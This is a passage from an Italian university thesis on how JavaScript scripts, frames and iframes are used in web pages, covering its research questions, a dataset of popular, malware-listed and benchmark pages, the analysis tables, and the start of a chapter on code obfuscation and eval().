    • 9 Inline Frame Figura 2.4: Pagina web composta da tre frame 2.5 Inline Frame Iframe sta per Inline frame e permette di inserire un frame anche in una pagina non strutturata in frame. A tale scopo ` sufficiente servirsi del tag <iframe>. e 2.5.1 L’elemento iframe I principali attributi dell’elemento iframe sono: • width: valore che specifica la larghezza dell’iframe da includere; • height: valore che specifica l’altezza dell’iframe da includere; • src: stringa che specifica il documento da caricare all’interno dell’iframe (anche un url esterno se necessario). Il tag <iframe>, inoltre, supporta tutti gli attributi del tag <frame>. L’elemento iframe, permettendo di inserire un frame all’interno di una sezione di testo, consente di includere un documento HTML dentro un altro. 2.5.1.1 Esempio di un iframe 1 < iframe src = " http :// www . units . it " width = " 820 " height = " 300 " > </ iframe > Codice 2.3: Esempio di un iframe
    • 2. Script JavaScript frame e iframe 10 Figura 2.5: Iframe ospitato all’interno di una pagina web 2.6 Quesiti preliminari allo studio L’idea di intraprendere uno studio con l’obiettivo di realizzare una caratterizzazione di script JavaScript nel web, nasce in seno alla consapevolezza che sempre pi` spesso pagine u web ospitano script, per sfruttare l’interazione dinamica fra client e server. Questa ricerca ` stata mossa dalla volont` di rispondere a cinque macro quesiti, in e a modo tale da soddisfare l’intento di definire l’uso odierno di script JavaScript, frame e iframe nelle pagine web. Prima di esporre i quesiti ` doveroso introdurre alcuni concetti presenti in essi. Tali e concetti verranno chiariti e analizzati in maniera pi` approfondita nel corso di questo ela- u borato, ora viene proposta solamente un’anticipazione volta a garantire la comprensione delle domande. Sebbene non si trovi una definizione precisa di offuscamento, si pu` comunque affer- o mare che un codice offuscato ` un codice la cui sintassi originale ha subito delle modifiche e per essere resa pi` difficile da comprendere. I propositi che spingono un programmatore u ad offuscare il proprio codice risultano essere antitetici. Infatti, se da un lato l’offusca- mento viene utilizzato come mezzo per proteggere la paternit` del codice, dall’altro ` a e spesso impiegato dagli autori di software maligno per nascondere frammenti di codice nocivo che, ad esempio, possono dar luogo a browser exploits, in sostanza attacchi infor- matici che sfruttano un difetto o vulnerabilit` di un sistema operativo o di una parte di a software con l’intenzione di alterare le impostazioni del browser all’insaputa dell’utente, consentendo, ad esempio, il download automatico di componenti dannosi per il sistema
    • 11 Quesiti preliminari allo studio o la sottrazione fraudolenta di dati privati. Come verr` meglio illustrato al capitolo 5, le tecniche che mirano ad offuscare il codi- a ce fanno frequente uso di espressioni regolari e operazioni su stringhe. Ci` ` reso possibile oe dall’utilizzo di alcune funzioni JavaScript native come escape() e unescape() che opera- no in maniera opposta, codificando e decodificando una stringa, ed eval() che completa il lavoro iniziato dalle precedenti eseguendo la stringa passatale come argomento. Gli esperti concordano sul fatto che tutt’oggi ci sia un ricorso abusivo dell’utilizzo della funzione eval()7 . Solo in una piccola percentuale di casi, infatti, l’utilizzo di eval() risulta essere indispensabile. Ci` si verifica quando, ad esempio, ` necessario o e realizzare complesse espressioni matematiche basate su input dell’utente o quando ` e necessario serializzare8 lo stato di un oggetto9 all’interno di una stringa affinch` possa e essere memorizzato, trasmesso e ricostruito nel seguito. Nella maggior parte delle situazioni, l’uso di eval() risulta essere scorretto e ten- denzialmente pericoloso. Infatti, spesso le potenzialit` di questa funzione non risultano a necessarie e comportano scarse perfomance del sistema. A tal riguardo si propone una considerazione. Il fatto che eval() esegua una stringa trattandola come codice, implica che a tempo di esecuzione venga effettuata una nuova compilazione ed interpretazione del codice, comportando cos` una notevole perdita in termini di prestazioni. ı Per ci` che concerne la pericolosit` di eval(), ` doveroso introdurre lo nozione di o a e code injection. Con questo termine si indica l’inserimento all’interno di un’applicazione (nel nostro caso un’applicazione web) di codice malevolo, eseguito dalla stessa in un secondo momento. Molti moderni linguaggi di scripting permettono la dynamic evaluation, che prevede l’utilizzo di funzioni come eval() per eseguire frammenti di codice ricavati a runtime. Essa, pensata soprattutto come scorciatoia per il programmatore, pu` rappresentare un o grave problema per la sicurezza dell’applicazione nel caso in cui il frammento di codice eseguito dinamicamente contenga dell’input non opportunamente validato. Si consideri, a questo proposito, un’applicazione web che faccia uso di eval() per va- lutare le richieste HTTP10 effettuate tramite il metodo GET. Tale metodo prevede che il valore del parametro, inserito dall’utente durante una richiesta, venga aggiunto all’URL preceduto da un ‘?’ (come http://www.website.com/evalpage.php?parameter). Nel caso in cui l’input non sia vagliato con estrema attenzione prima della valutazione, l’attac- cante pontenzialmente ` in grado di eseguire sul server qualsiasi comando semplicemente e inviando all’applicazione opportuni parametri tramite l’URL. 7 Per un’idea rispetto alla rilevanza dell’argomento, si propone al lettore di interrogare un motore di ricerca, come Google, con il gioco di parole “eval is evil”. 8 Serializzazione: processo di conversione di un oggetto in un flusso di byte per archiviarlo in memoria, in un database o in un file oppure per trasmetterlo su una connessione di rete. Lo scopo principale ` di e salvare lo stato di un oggetto al fine di poterlo ricreare identico tramite il processo inverso che prende il nome di deserializzazione. 9 Stato di un oggetto: valore di tutti i dati membro dell’oggetto considerato in un certo istante. 10 Richiesta HTTP : insieme di linee inviate al server dal client ad esempio per prelevare una pagina web. Per una maggiore spiegazione si rimanda al paragrafo 3.2.1 di pagina 15.
    • 2. Script JavaScript frame e iframe 12 2.6.1 I cinque quesiti Vengono ora elencati in maniera schematica ed essenziale i cinque macro quesiti che rappresentano le linee guida del nostro studio. 1. Quanto ` diffusa l’inclusione di script da url diversi? e 2. A che profondit` di inclusione si arriva per includere script? a 3. Quanto ` diffuso l’utilizzo di eval()? e 4. Quanto ` diffusa l’inclusione di frame e iframe sospettosamente piccoli? e 5. Quanto ` diffuso l’utilizzo di tecniche di offuscamento? e Nei capitoli successivi verr` illustrato l’iter complessivo adottato (dalla raccolta del a dataset, all’individuazione dei parametri per l’analisi da compiere fino all’analisi vera e propria) per dar risposta a queste domande e ad altre pi` dettagliate ma sempre facenti u capo ai cinque cardini menzionati. In conclusione verranno esposte le deduzioni ricavate a seguito delle osservazioni condotte sui risultati ottenuti.
    • Capitolo 3 Il dataset Per rispondere ai cinque macro quesiti esposti nella sottosezione 2.6.1 di pagina 12, abbiamo deciso di costruire un dataset di pagine che, grosso modo, rispecchiasse lo scenario attuale del Web. Nella fattispecie ` stato scelto di popolare il dataset mediante tre categorie di pagine e che riproducessero la reale divisione delle pagine nel Web. A tal scopo si ` stabilito di destinare l’80% del dataset a pagine ritenute normali e e auspicabilmente innocue, visitate quotidianamente da un alto tasso di utenti, mentre poco meno di un quinto del dataset ` stato riservato a pagine presumibilmente maligne e dal contenuto sospetto e probabilmente nocivo, ed infine una minima porzione di dataset ` stata popolata con pagine interessanti poich` volte a calcolare le prestazioni del web e e browser 1 dell’utente, sottoposto all’elaborazione di particolari script JavaScript. Si ` deciso di utilizzare tre diverse fonti dalle quali prelevare gli url delle pagine e da scaricare e analizzare. A seconda della fonte di provenienza sono state definite tre tipologie di pagina: Normal, Malicious ed Interesting. In questo capitolo vengono presentate le fonti impiegate, gli strumenti atti al down- load delle pagine, l’intervallo di scaricamento e la composizione finale del dataset. 3.1 Le fonti 3.1.1 La fonte per le pagine Normal La parte pi` consistente del dataset ` formata dalle pagine definite Normal. Si ` deciso u e e di far ricadere in questa categoria le home page dei siti web pi` visitati al mondo. Per u ottenere questo elenco ci si ` avvalsi della Top Milion Sites List stilata dall’azienda Alexa e Internet Inc. e scaricabile dal sito della stessa. Il campione di pagine Normal ` parte del milione. Nello specifico sono state selezio- e nate le prime mille della lista. 1 Web browser : programma che consente all’utente di navigare nel web e quindi di visualizzare e interagire con testi, immagini e altre informazioni, tipicamente contenute in una pagina web. 13
    • 3. Il dataset 14 Data la facilit` di reperimento di questa tipologia di pagine, il download delle 1000 a Normal ha richiesto l’arco di una giornata per essere completato. Esso ha avuto successo nel 83,4% dei casi. In definitiva ` stato possibile compiere l’analisi su 834 pagine Normal. e 3.1.1.1 Alexa Top Sites La Alexa Internet Inc. ` un’azienda statunitense, fondata nel 1996, sussidiaria di Ama- e zon.com che si occupa di statistiche sul traffico di Internet. Alexa, abbreviazione di Address Lookup EXperts Authority, ` anche un motore di ricerca con un servizio di web e directory [5]. Alexa classifica i siti basandosi sulle visite effettuate dagli utenti della Alexa Toolbar, per Internet Explorer, e dalle barre degli strumenti integrate in Mozilla e Netscape. Una volta installata, la toolbar memorizza i dati relativi al traffico del browser e li invia al web service di Alexa che li immagazzina e analizza al fine di creare le proprie statistiche [4]. A partire dal 1996 si contano oltre 10 milioni di toolbar installate anche se la compagnia non fornisce il numero esatto [5]. Alexa rende disponibile la lista Top Sites per nazione, lingua o categoria. La lista classifica il milione di siti maggiormente visitati e ordinati secondo l’Alexa Traffic Rank. 3.1.2 La fonte per le pagine Malicious Per ci` che concerne le pagine pertinenti la tipologia Malicious, la scelta della fonte ` o e stata fatta ricadere sulla lista dei siti infettati da malware redatta dal progetto Malware Domain List e pubblicata sul sito dello stesso: www.malwaredomainlist.com. Le pagine Malicious sono state segnate da un intervallo di scaricamento dilatato nel tempo. Questo fatto ` stato reso necessario da due fattori: l’impossibilit` di pos- e a sedere un numero congruo di url da scaricare nel medesimo momento e la frequente difficolt` riscontrata nel download, presumibilmente dovuta alla rimozione delle pagine a incriminate. Durante l’arco di due mesi, quotidianamente ` stata visionata la lista pubblicata sul e sito www.malwaredomainlist.com e da quella sono stati estratti i nuovi url presenti. Si ` scelto di scaricare tutti gli url raccolti nell’elenco ad eccezione di quelli laddove e l’estensione della risorsa indicava che l’url in questione si riferiva ad un programma eseguibile. 3.1.2.1 Malware Domain List Malware Domain List ` un progetto non a fini commerciali nato nel luglio 2007, grazie e all’impegno di alcuni volontari. Il progetto mantiene aggiornata una lista di domini che vengono scoperti propagare malware e spyware all’interno del web. Tra le altre informazioni presenti nella lista, ad ogni dominio sono associati la data e l’ora d’inserimento nell’elenco, la descrizione del malware diffuso, l’ip e la ragione sociale con la quale il dominio ` registrato. e
    • 15 Metodologia di scaricamento delle pagine Dopo previa iscrizione al progetto, chiunque ha la possibilit` di collaborare all’ag- a giornamento della lista di domini maligni. Gli URL notificati dai collaboratori, prima di essere inseriti nell’elenco, passano al vaglio degli amministratori del progetto. Oltre a ci` la lista viene mantenuta anche grazie alla cooperazione con altri siti operanti nello o stesso campo, come www.malwareurl.com e www.hosts-file.net. A questo progetto si appoggiano sia ricercatori che internet service provider2 per smascherare e debellare i siti divulgatori di malware. 3.1.3 La fonte per le pagine Interesting Con l’appellativo Interesting si vogliono indicare le pagine costituite da JavaScript benchmark. Gli strumenti di JavaScript benchmark consentono di testare, verificare e confrontare le performance JavaScript dei vari web browser. I benchmark racchiudono in s` diverse e prove per testare le prestazioni JavaScript del browser in uso: calcoli matematici, velocit` a di accesso agli oggetti e alle loro propriet`, utilizzo di regexp, string processing ecc. a Per lo studio in esame sono stati scelti i JavaScript benchmark rilasciati dai tre mag- giori produttori di web browser: V8 Benchmark, Dromaeo e SunSpider rispettivamente distribuiti da Google, Mozilla e WebKit. 3.2 Metodologia di scaricamento delle pagine Prima mettere in luce la metodologia di scaricamento adottata, vengono proposte due serie di definizioni utili al fine della totale comprensione lungo il prosieguo di tutto l’elaborato. La prima sequenza presenta alcune nozioni a carattere generale mentre la seconda espone dei concetti nati in seno al laboratorio di “Reti di Calcolatori” dell’Universit` di a Trieste, nel quale ` stata condotta questa ricerca. e 3.2.1 Definizioni generali • URL: Uniform Resource Locator ` una sequenza di caratteri che identifica uni- e vocamente l’indirizzo di una risorsa in Internet. Esso si compone di cinque parti, alcune delle quali sono opzionali: – nome del protocollo: protocollo di rete da utilizzare per l’accesso al server. I protocolli pi` comuni sono l’HTTP, HTTPS, FTP; u – id e password: credenziali per l’accesso alla risorsa; – nome del server: indirizzo fisico del server su cui risiede la risorsa. Pu` o essere costituito da un nome di dominio o da un Indirizzo IP; 2 Internet Service Provider : struttura commerciale o organizzazione che offre ai propri utenti servizi inerenti Internet come l’accesso alla network stessa e la posta elettronica.
    • 3. Il dataset 16 – numero della porta: numero associato ad un servizio che permette al server di sapere quale tipo di risorsa ` richiesta; e – percorso di accesso alla risorsa: percorso nel file system del server che identifica la risorsa. • HTTP Request: insieme di linee inviate dal client al server per prelevare la risorsa. Essa comprende: – request line: ` una linea che precisa l’url del documento richiesto, il metodo e che deve essere applicato (GET o POST) per ottenere la risorsa e la versione del protocollo usato; – header lines: insieme di linee facoltative che permettono di dare delle informazioni supplementari sulla richiesta; – entity body: insieme di linee opzionali, separate dalle headers line tramite una linea vuota, che consentono l’invio di dati al server qualora il metodo specificato nella request line sia di tipo POST. • HTTP Response: insieme di linee inviate dal server al client. Essa comprende: – status line: ` una linea che precisa la versione del protocollo usata, lo stato e di trattamento della richiesta attraverso un codice e un testo esplicativo del codice; – header lines: insieme di linee facoltative che permettono di dare delle informazioni supplementari sulla risposta; – entity body: documento richiesto dal client. • HTTP Redirection: redirezione verso un nuovo URL associato al documento. Il nuovo url ` specificato nell’header Location dell’HTTP response. e 3.2.2 Nostre definizioni • Risorsa: pagina web visualizzabile tramite web browser. Ogni risorsa ` associata e ad un URL. Nel caso la risorsa sia un documento HTML, essa include anche tutte le informazioni necessarie al browser per la sua visualizzazione (script JavaScript, frame, iframe, immagini, CSS); • Snapshot: contenuto di una risorsa di URL u in un dato istante di tempo t; con contenuto si indicano tutti gli header ottenuti, sia di request che di response, il content type, la data e la durata del download e l’albero delle ricorrenze, il quale include: – l’html della pagina per la quale si ` avviato il download (root html); e – l’html ottenibile dagli URL indicati nell’attributo src dei tag iframe o frame della root html o di altri child html (child html);
    • 17 Dimensione complessiva del dataset – gli script JavaScript ottenibili dagli URL indicati nell’attributo src dei tag script della root html o dei child html; – i css ottenibili dagli URL indicati nell’attributo src dei tag link della root html o dei child html; – i css ottenibili dagli URL indicati nella direttiva @import di altri css; – le immagini ottenibili dagli URL indicati nell’attributo src dei tag img della root html o dei child html; – le immagini ottenibili dagli URL specificati con le direttive background e background-image dei css. 3.2.3 Goldrake Per dar luogo allo scaricamento ` stato utilizzato il componente downloader di un’istanza e di Goldrake, sistema sviluppato presso il laboratorio di “Reti di Calcolatori”del DEEI dell’Universit` di Trieste, capace di garantire un controllo, periodico e automatizzato, a di siti remoti. Tale strumento, a partire dall’url della risorsa, immagazzina in un database relazio- nale lo snapshot di quella. Per costruire l’albero delle dipendenze, il programma analizza in maniera ricorsiva la pagina iniziale e le dipendenze della stessa utilizzando una serie di sensori. 3.3 Dimensione complessiva del dataset A conclusione del periodo di scaricamento delle pagine, durato pressoch` due mesi, la e composizione del dataset risultava cos` partizionata: ı • 834 pagine Normal ; • 200 pagine Malicious; • 3 pagine Interesting.
    • Capitolo 4 Metodologia di analisi Una volta ottenuto il dataset, come spiegato al capitolo 3, si ` proceduto con l’orga- e nizzazione e la preparazione dei dati, al fine di poter avviare l’analisi fulcro di questa tesi. Poich´ la materia di studio ` rappresentata da script JavaScript, frame e iframe, la e e mole di dati legati agli snapshot forniti dal downloader di Goldrake, ` stata sottoposta ad e una selezione tesa ad estrapolare il complesso di informazioni inerenti, appunto, script, frame e iframe. A questo primo scorporamento ` seguita la riorganizzazione dei dati per porli nel e formato pi` consono all’analisi. u 4.1 Suddivisione del dataset Dall’albero delle dipendenze di ogni pagina sottoposta a scaricamento, sono stati estra- polati i dati d’interesse per la nostra indagine. Con tali elementi ` stato popolato un e ulteriore database. La struttura del DB sopracitato, pu` essere descritta semplificandola e riassumendola o in due tabelle, una associata agli script JavaScript e una ai frame e agli iframe. 4.1.1 La tabella degli script Per ogni script JavaScript, collegato in qualche misura a una risorsa, ` stata inserita una e riga in una tabella Ts , costituita dai seguenti campi: • Script URL: url dello script; • Root page URL: url della pagina per la quale si ` avviato il download; e • Root page type: tipologia della pagina (Normal, Malicious o Interesting); • Script body: codice contenuto nello script; 19
    • 4. Metodologia di analisi 20 • Category: categoria di appartenenza dello script, una fra le seguenti: – Embedded Script: script identificato da un tag HTML <script> che non include l’attributo src (un inline script); – Child Script: script identificato da un tag HTML <script> che include l’attributo src e che quindi non contiene il codice dello script ma solo il puntatore all’indirizzo dove quello deve essere prelevato; – Intrinsic Event: script definito all’interno di un tag HTML come <onload>, <onclick>, <onsubmit>, <onchange>, <onfocus>, <onmouseover>, e cos` via. ı • Locality: campo booleano che, a seconda del valore, conferisce allo script una delle seguenti accezioni: – Local: qualora lo Script URL e il Root page URL condividano almeno gli ultimi due livelli del nome DNS1 ; – Remote: altrimenti. • List of HTTP redirection for the script: lista degli URL appartenenti alla sequenza di download dello script. Tale lista include anche tutte le redirezioni HTTP e mantiene l’ordine di scaricamento degli URL; • Total steps: numero degli elementi della lista sopra menzionata; • Inclusion steps: risultato della sottrazione delle redirezioni HTTP al numero identificato come Total steps. Il concetto pu` essere pi` chiaro con l’esempio successivo. Si consideri un Child o u Script, quindi uno script il cui codice ` definito all’esterno della pagina web di e cui si ` avviato lo scaricamento. La lista degli URL appartenenti alla sequenza e di download dello script contiene l’URL della pagina principale e l’URL puntato dall’attributo src del tag <script>. In questo specifico caso lo script ` caratte- e rizzato da Total steps=2 e Inclusion steps=2 perch` durante il percorso non si e sono riscontrate redirezioni HTTP. Si consideri ora lo stesso esempio ma nella si- tuazione in cui la richiesta HTTP inoltrata dal client al server per prelevare tale script all’URL puntato, riceva una risposta HTTP con il campo Location settato; nell’header Location ` precisato il nuovo url da cui prelevere lo script richiesto. In e questo caso il client subisce una redirezione e lo script risulta esser caratterizzato da Total steps=3 e Inclusion steps=2. A seconda delle combinazioni dei campi Category e Locality, gli script sono stati raggruppati in sei diverse classi. Come verr` meglio illustrato nei capitoli seguenti, per a molte analisi ci si ` avvalsi di questa suddivisione. e 1 ` DNS : Domain Name System, sistema di denominazione del dominio. E un database distribuito che viene utilizzato per creare una corrispondenza tra indirizzo IP e nome mnemonico assegnato a un nodo.
    • 21 Suddivisione del dataset 4.1.1.1 Lo script: dalla pagina alla tabella In questo paragrafo si descrive un esempio relativo al download di una pagina web, www.amazon.com, con successiva estrazione degli script contenuti in essa e popolamento della tabella Ts . L’url di cui si avvia lo scaricamento ` la home page del sito www.amazon.com, che, e visualizzata tramite un browser, appare all’utente come in Figura 4.1 a pagina 22. Una volta terminato lo scaricamento, si evince che la pagina ` formata da 32 Embed- e ded Script, 7 Child Script e 4 Intrinsic Event. Nel seguito si elencano i valori dei campi della riga inserita in Ts e relativa al primo Embedded Script scaricato dalla pagina. • Script URL: http://www.amazon.com; • Root page URL: http://www.amazon.com; • Root page type: Normal; • Script body: 1 <! -- 2 function amz_js_PopWin ( url , name , options ) { 3 var ContextWindow = window . open ( url , name , options ) ; 4 ContextWindow . focus () ; 5 return false ; 6 } 7 // -- > Codice 4.1: Codice dello script • Category: Embedded Script; • Locality: Local; • List of HTTP redirection for the script: – http://www.amazon.com; • Total steps: 1; • Inclusion steps: 1; Per maggior chiarezza si riportano anche i dati d’interesse appartenenti al primo Child Script scaricato dalla pagina. • Script URL: http://m1.2mdn.net/879366/flashwrite 1 2.js; • Root page URL: http://www.amazon.com; • Root page type: Normal;
    • 4. Metodologia di analisi 22 Figura 4.1: Home page di Amazon visualizzata tramite un browser • Script body: 1 function dclkToObject ( id ) { 2 if ( document . layers ) { 3 return ( document . layers [ id ]) ? eval ( document . layers [ id ]) : null ; 4 } 5 else if ( document . all && ! document . getElementById ) { 6 return ( eval ( " window . " + id ) ) ? eval ( " window . " + id ) : null ; 7 } 8 else if ( document . getElementById && document . body . style ) { 9 return ( document . getElementById ( id ) ) ? eval ( document . getElementById ( id ) ) : null ; 10 } 11 } 12 13 function dclkFlashWrite ( string ) { 14 document . write ( string ) ; 15 } 16 17 function d cl kF la shI nn er HT ML ( htmlElementId , code ) { 18 var x = dclkToObject ( htmlElementId ) ; 19 if ( x ) { 20 if ( document . getElementById || document . all ) { 21 x . innerHTML = ’ ’; 22 x . innerHTML = code ;
    • 23 Suddivisione del dataset 23 } 24 else if ( document . layers ) { 25 x . document . open () ; 26 x . document . write ( code ) ; 27 x . document . close () ; 28 } 29 } 30 } Codice 4.2: Codice dello script • Category: Child Script; • Locality: Remote; • List of HTTP redirection for the script: – http://www.amazon.com – http://ad.doubleclick.net/adi/amzn.us.gw.btf;sz=300x250;bn=507846;u=7689... ;ord=00F0WDTCRNB34BE99MBC;s=32;s=m4;s=m1;z=1;tile=3? – http://ad.doubleclick.net/adi/N624.160337.0447968804521/B3948491;sz=300x250; click=http://ad.doubleclick.net/click%3Bh=v8/38c1/3/0/%2a/a%3B132905229% 3B0-0%3B0%3B18273354%3B4307-300/250%3B33661023/33678901/1%3Bu% 3D768289f015614a40a75c747a2f702ea3%3B%7Eaopt%3D2/1/4/2%3B%7Esscs% 3D%3f;ord=2385959? – http://m1.2mdn.net/879366/flashwrite 1 2.js • Total steps: 4; • Inclusion steps: 4; 4.1.2 La tabella dei frame e degli iframe Analogamente alla tabella Ts , ` stata popolata anche una tabella Ti relativa ai frame e e agli iframe reperiti analizzando i tag HTML <frame> e <iframe> riscontrati nelle sequenza di download di ogni risorsa. Di seguito viene presentata la descrizione dei campi della tabella Ti : • Iframe URL: url del frame o dell’iframe; • Root page URL: url della pagina per la quale si ` avviato il download; e • Root page type: tipologia della pagina (Normal, Malicious o Interesting); • Iframe body: codice contenuto fra le coppie di tag HTML <frame>. . . e . . . </frame> o <iframe>. . . e . . . </iframe>; • Enclosing: tipo di inclusione del frame o dell’iframe, una fra le seguenti:
    • 4. Metodologia di analisi 24 – HTML Embedded: frame o iframe incluso all’interno del codice HTML di una pagina; – Script Embedded: frame o iframe incluso all’interno del codice JavaScript di uno script. • Locality: campo booleano che, a seconda del valore, conferisce al frame o all’ifra- me una delle seguenti accezioni: – Local: qualora l’Iframe URL e il Root page URL condividano almeno gli ultimi due livelli del nome DNS; – Remote: altrimenti. • List of HTTP redirection for the iframe: lista degli URL appartenenti alla sequenza di download del frame o dell’iframe. Tale lista include anche tutte le redirezioni HTTP e mantiene l’ordine di scaricamento degli URL; • Total steps: numero degli elementi della lista sopra menzionata; • Inclusion steps: risultato della sottrazione delle redirezioni HTTP al numero identificato come Total steps. Nelle nostre analisi i frame e gli iframe sono stati classificati in base ai quattro gruppi scaturiti dalle combinazioni dei campi Enclosing e Locality. 4.1.2.1 L’iframe: dalla pagina alla tabella Sempre a seguito del download della pagina www.amazon.com (Figura 4.1), la tabella Ti ` stata popolata con cinque iframe: 3 del tipo Embedded e 2 del tipo Script Embedded. e Nel seguito si elencano i valori dei campi della riga inserita in Ti e relativa al primo iframe HTML Embedded della pagina. • Iframe URL: http://ad.doubleclick.net/adi/amzn.us.gw.btf;sz=300x250;bn=507846; u=768289f015614a40a75c747a2f702ea3;ord=00F0WDTCRNB34BE99MBC;s=32;s=m4; s=m1;z=1;tile=3?; • Root page URL: http://www.amazon.com; • Root page type: Normal; • Iframe body: 1 < iframe xmlns = " http :// www . w3 . org /1999/ xhtml " bordercolor = " #000000 " frameborder = " 0 " height = " 250 " hspace = " 0 " marginheight = " 0 " marginwidth = " 0 " scrolling = " no " src = " http :// ad . doubleclick . net / adi / N624 . 1 6 0 3 3 7 . 0 4 4 7 9 6 8 8 0 4 5 2 1 / B3948491 ; sz =300 x250 ; click = http :// ad . doubleclick . net / click %3 Bh = v8 /38 c1 /3/0/%2 a / a %3 B132905229 %3 B0 -0%3 B0 %3 B18273354 %3 B4307 -300/250%3 B33661023 /33678901/1%3 Bu %3
    • 25 Analisi sugli script e sugli iframe D 7 6 8 2 8 9 f 0 1 5 6 1 4 a 4 0 a 7 5 c 7 4 7 a 2 f 7 0 2 e a 3 %3 B %7 Eaopt %3 D2 /1/4/2%3 B %7 Esscs %3 D %3 f ; ord =2385959? " vspace = " 0 " width = " 300 " > & lt ; SCRIPT language = ’ JavaScript1 .1 ’ SRC = " http :// ad . doubleclick . net / adj / N624 . 1 6 0 3 3 7 . 0 4 4 7 9 6 8 8 0 4 5 2 1 / B3948491 ; abr =! ie ; sz =300 x250 ; ord =2385959? " & gt ; & lt ;/ SCRIPT & gt ; & lt ; NOSCRIPT & gt ; & lt ; A HREF = " http :// ad . doubleclick . net / jump / N624 . 1 6 0 3 3 7 . 0 4 4 7 9 6 8 8 0 4 5 2 1 / B3948491 ; abr =! ie4 ; abr =! ie5 ; sz =300 x250 ; ord =2385959? " & gt ; & lt ; IMG SRC = " http :// ad . doubleclick . net / ad / N624 . 1 6 0 3 3 7 . 0 4 4 7 9 6 8 8 0 4 5 2 1 / B3948491 ; abr =! ie4 ; abr =! ie5 ; sz =300 x250 ; ord =2385959? " BORDER =0 WIDTH =300 HEIGHT =250 ALT = " " Click Here " " & gt ;& lt ;/ A & gt ; & lt ;/ NOSCRIPT & gt ; </ iframe > Codice 4.3: Codice dell’iframe • Enclosing: HTML Embedded; • Locality: Remote; • List of HTTP redirection for the iframe: – http://www.amazon.com; – http://ad.doubleclick.net/adi/amzn.us.gw.btf;sz=300x250;bn=507846;u=7689... ;ord=00F0WDTCRNB34BE99MBC;s=32;s=m4;s=m1;z=1;tile=3?; • Total steps: 2; • Inclusion steps: 2; 4.2 Analisi sugli script e sugli iframe Una volta ottenute le informazioni sulle “generalit`” di script, frame e iframe, si ` deciso a e di analizzarne il contenuto e quindi scendere a livello del codice per ricavarne gli apetti salienti e poter soddisfare l’intento di fornirne una caratterizzazione complessiva. A tal scopo sono stati definiti due set di propriet` da estrarre e da misurare, il primo a peculiare per gli script, il secondo per i frame e gli iframe. 4.2.1 Propriet` estratte dagli script a L’obiettivo prefisso nella definizione delle propriet`, si individua nell’esigenza di svisce- a rare il singolo script al fine di esaminarne le componenti, quali le funzioni definite dal programmatore, le funzioni native JavaScript come, ad esempio, eval() e unescape(), i document.write(), gli iframe e le variabili. Nel seguito viene delineato l’elenco delle propriet` estratte per ogni script. a • Function name: nome di ogni funzione definita nello script;
    • 4. Metodologia di analisi 26 • Document.write: argomento di ogni invocazione di tipo document.write(); • Iframe: argomento racchiuso fra i tag HTML <iframe>. . . e . . . </iframe>; • Variable name: nome di ogni variabile definita nello script; • Variable content: contenuto di ogni variabile definita nello script; • Long string: contenuto di ogni stringa costante di dimensione superiore ai 140 caratteri definita nello script; • Eval: argomento di ogni invocazione di tipo eval(); • Unescape: argomento di ogni invocazione di tipo unescape(); • Decode: argomento di ogni invocazione di tipo decode(); • Onerror: argomento di ogni invocazione di tipo onerror(); • Exec: argomento di ogni invocazione di tipo exec(); • String.fromCharCode: argomento di ogni invocazione di tipo String.fromCharCode(); • String.charCodeAt: argomento di ogni invocazione di tipo String.charCodeAt(); • Math.random: argomento di ogni invocazione di tipo Math.random(); 4.2.2 Propriet` estratte dai frame e dagli iframe a Per ci` che concerne i frame i gli iframe le propriet` estratte si riassumono nelle dimen- o a sioni degli stessi: • width: valore che specifica la larghezza del frame o dell’iframe; • height: valore che specifica l’altezza del frame o dell’iframe; Le propriet` elencate in questi due paragrafi si pongono come nucleo fondante per a le nostre analisi. Esse sono state analizzate sotto vari aspetti a seconda delle esigenze: talvolta ne ` stato considerato il numero di occorrenze, talatra ` stato preso in considera- e e zione il valore insito nella propriet` o, ancora, ci si ` soffermati sul risultato di particolari a e elaborazioni effettuate su quei valori.
    • Capitolo 5 Offuscamento Lungo questo capitolo viene trattato un tema complicato e caratterizzato da aspetti su cui attualmente non ` ancora stata fatta completa chiarezza: l’offuscamento. Codesto e argomento ha impiegato una parte consistente di tempo dedicato a questa ricerca. Il capitolo ` essenzialmente suddiviso in quattro sezioni. e Nella prima viene esposto il concetto di offuscamento cos` come trattato in lettera- ı tura. Vengono elencate le motivazioni alla base dell’offuscamento del codice e vengono forniti alcuni esempi. Quindi il focus del capitolo passa nello specifico all’offuscamento come tecnica per ce- lare contenuti maligni. In questa parte viene definito e analizzato anche l’uso di eval(). Infatti, il concetto di offuscamento ` sovente accumunato a tale funzione JavaScript. e Nella terza parte del capitolo viene dato spazio al tema degli iframe sospettosamente “piccoli” se non adirittura invisibili. In tale sezione viene spiegato il rapporto che sussiste fra questa tipologia di iframe e l’offuscamento; al lettore risulter` quindi chiara la scelta a di inserire l’argomento all’interno di questo capitolo. Infine, viene esposto il nostro approccio al problema. Viene illustrata la metodologia di analisi tesa alla caratterizzazione dell’offuscamento degli script presenti nel nostro dataset (quasi 54 mila). L’obiettivo di questa fase dello studio ` consistito nel fornire degli strumenti per e poter rispondere agli ultimi tre macroquesiti introdotti al paragrafo 2.6.1 di pagina 12. 5.1 Definizione di offuscamento Come gi` anticipato nella sezione 2.6 a pagina 10, nonostante non esista una definizione a precisa del concetto di offuscamento, si pu` asserire che un codice offuscato ` un codice o e sorgente1 o macchina2 che ` stato intenzionalmente modificato per essere reso difficil- e 1 Codice sorgente: insieme di istruzioni scritte dal programmatore per realizzare un programma. 2 Codice macchina: insieme di istruzioni binarie direttamente eseguibili dalla macchina. Se il codice sorgente ` scritto con un linguaggio ad alto livello, per essere eseguito dev’essere tradotto in codice e macchina. 27
    • 5. Offuscamento 28 mente comprensibile sia da un analista umano che da un programma la cui finalit` sia a quella di effettuare il reverse engineering 3 , ossia di impedire di risalire all’algoritmo alla base del codice. Gli scopi che spingono un programmatore ad offuscare il proprio codice sono para- dossalmente opposti. Da un lato, il ricorso alla code obfuscation ` volto alla protezione e del sorgente, quindi prevenire il reverse engineering, in modo tale da impedirne il plagio e la contraffazione. D’altro canto, invece, l’offuscamento pu` essere impiegato per celare o codice maligno con finalit` biasimevoli. a 5.2 Programmi atti all’offuscamento I programmi che trasformano il codice “human-readable” in codice offuscato si defini- scono obfuscators. Essi differiscono a seconda del linguaggio trattato e delle tecniche utilizzate per il loro scopo. Inoltre, questi programmi vengono classificati in base a tre parametri: • Potenza: indica il grado di offuscamento raggiunto dal codice in seguito alla trasformazione; • Resilienza: indica il grado di resistenza del codice offuscato contro un attacco da parte di uno strumento che opera la trasformazione inversa; • Costo: indica l’overhead4 aggiunto all’applicazione originale. 5.3 Programmi per offuscare codice JavaScript Compiendo una rapida ricerca in 